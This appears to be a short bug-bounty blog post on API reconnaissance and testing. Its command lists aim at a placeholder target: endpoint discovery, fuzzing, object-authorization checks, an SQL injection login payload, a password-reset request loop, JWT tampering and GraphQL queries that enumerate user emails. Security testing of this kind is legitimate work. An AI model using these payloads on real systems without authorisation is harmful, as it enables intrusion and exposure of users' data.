API Security and Recon: Key to Bug Bounty Success

By /

Listen to this Post

Featured Image
Shree Chandragiri, a Security Researcher, recently uncovered a critical API misconfiguration in a private Intigrity bug bounty program, leading to sensitive data exposure. This highlights the importance of thorough API testing and reconnaissance in cybersecurity.

You Should Know:

1. API Reconnaissance Techniques

  • Endpoints Discovery: 
    waybackurls target.com | grep "api" | sort -u
gau target.com | grep "api" | tee api_endpoints.txt
  • Parameter Fuzzing: 
    ffuf -u "https://target.com/api/v1/FUZZ" -w /path/to/wordlist.txt -mc 200

2. Testing for Misconfigurations

  • Sensitive Data Exposure: 
    curl -s "https://target.com/api/user?id=123" | jq .
  • Broken Object Level Authorization (BOLA): 
    curl -X GET "https://target.com/api/user/567" -H "Authorization: Bearer YOUR_TOKEN"

3. Automated API Scanning

  • Using Nuclei for API Vulnerabilities: 
    nuclei -u https://target.com/api -t ~/nuclei-templates/api/
  • Postman for Manual Testing: 
    {
"url": "https://target.com/api/login",
"method": "POST",
"body": {
"username": "admin",
"password": "' OR 1=1 --"
}
}

4. Rate Limiting & Auth Bypass Checks

  • Testing Rate Limits: 
    for i in {1..100}; do curl -X POST "https://target.com/api/reset-password"; done
  • JWT Tampering: 
    jwt_tool <JWT_TOKEN> -T

5. GraphQL Testing

  • Introspection Query: 
    query { __schema { types { name fields { name } } } }
  • Batch Query Exploitation: 
    curl -X POST "https://target.com/graphql" -H "Content-Type: application/json" -d '[{"query":"query { user(id: 1) { email } }"},{"query":"query { user(id: 2) { email } }"}]'

What Undercode Say:

API security is often overlooked, yet it remains a goldmine for bug bounty hunters. Proper reconnaissance, automated scanning, and manual testing can uncover critical flaws like data leaks, authentication issues, and misconfigurations.

Expected Output:

  • A structured report detailing API vulnerabilities.
  • Evidence of sensitive data exposure.
  • Proof-of-concept (PoC) requests demonstrating the exploit.

Prediction:

As APIs continue to dominate modern web applications, misconfigurations and weak authentication mechanisms will remain prime targets for attackers. Bug bounty hunters who master API security will have a significant advantage in uncovering high-impact vulnerabilities.

Relevant URLs:

IT/Security Reporter URL:

Reported By: Shree Chandragiri – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram

Related Posts: